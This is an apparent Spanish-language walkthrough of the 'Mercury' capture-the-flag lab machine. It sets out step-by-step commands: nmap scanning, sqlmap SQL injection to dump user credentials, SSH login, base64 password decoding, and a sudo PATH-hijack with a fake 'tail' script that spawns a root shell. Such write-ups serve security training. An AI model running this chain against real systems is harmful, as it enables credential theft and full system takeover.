Mercury

Obtención del user flag [editar]


1. Escáner de direcciones IP y puertos (nmap)


nmap -A 10.0.2.2-10


Se puede observar el puerto 8080 abierto y parece una aplicación web.



2. Inspección de la web


Abrir dirección http://10.0.2.7:8080/ en navegador



3. Probar otras rutas


Abrir dirección http://10.0.2.7:8080/semospeligrosos en navegador,

la cual origina un error en el que se pueden observar rutas válidas.



4. Inspeccionar ruta válida


Abrir dirección http://10.0.2.7:8080/mercuryfacts/ en navegador



5. Probar inyecciones SQL


sqlmap --tables  -u http://10.0.2.7:8080/mercuryfacts/1*/ 

dir="ltr">

sqlmap --dump -T users -u http://10.0.2.7:8080/mercuryfacts/1*/   


De aquí se obtienen usuarios y contraseñas



6. Probar a iniciar sesión SSH con algunos usuarios


ssh webmaster@10.0.2.7


Obtención del root flag [editar]

Para conseguir el flag root podemos proceder del siguiente modo:

1. Una vez dentro del servidor como el usuario webmaster, buscamos información. El comando "ls" revela la presencia de un directorio llamado "mercury_proj" que contiene un fichero "notes.txt".

ls

cd mercury_proj

ls

cat notes.txt


2. En el fichero aparecen dos usuarios y sus respectivas contraseñas codificadas en algo que parece base 64. Procedemos a decodificar la del usuario linuxmaster:

echo "codigobase64==" | base64 --decode

Obtenemos así una contraseña que podemos utilizar para acceder como dicho usuario.


3. Cambiamos de usuario utilizando el comando su. Nos pedirá la contraseña que acabamos de obtener.

su linuxmaster


4. Ya como usuario linuxmaster, averiguamos qué comandos podemos ejecutar con privilegios:

sudo -l

Veremos que podemos lanzar un script como root, cuya ruta es /usr/bin/check_syslog.sh. Dicho script mostrará las últimas líneas del registro del sistema, mediante la orden tail. (Puede verse el contenido del script con cat /usr/bin/check_syslog.sh).


5. Una posibilidad para obtener acceso de root es crear un programa o script que se llame igual que tail, de modo que cuando el script anterior ejecute esa orden lo que haga sea ejecutar nuestro programa.

cd

nano tail

El contenido del script será:

#!/bin/bash

echo "Bienvenido al lado oscuro"

bash


Guardamos el fichero y le damos permisos de ejecución:

chmod +x tail


6. Ahora es necesario alterar la ruta de búsqueda de órdenes (PATH) para que primero acceda a nuestro programa "tail", antes que al tail original:

export PATH=$HOME:$PATH


7. Finalmente ejecutamos el único comando que podemos ejecutar con privilegios, obteniendo por fin acceso a una shell como root:

sudo --preserve-env=PATH /usr/bin/check_syslog.sh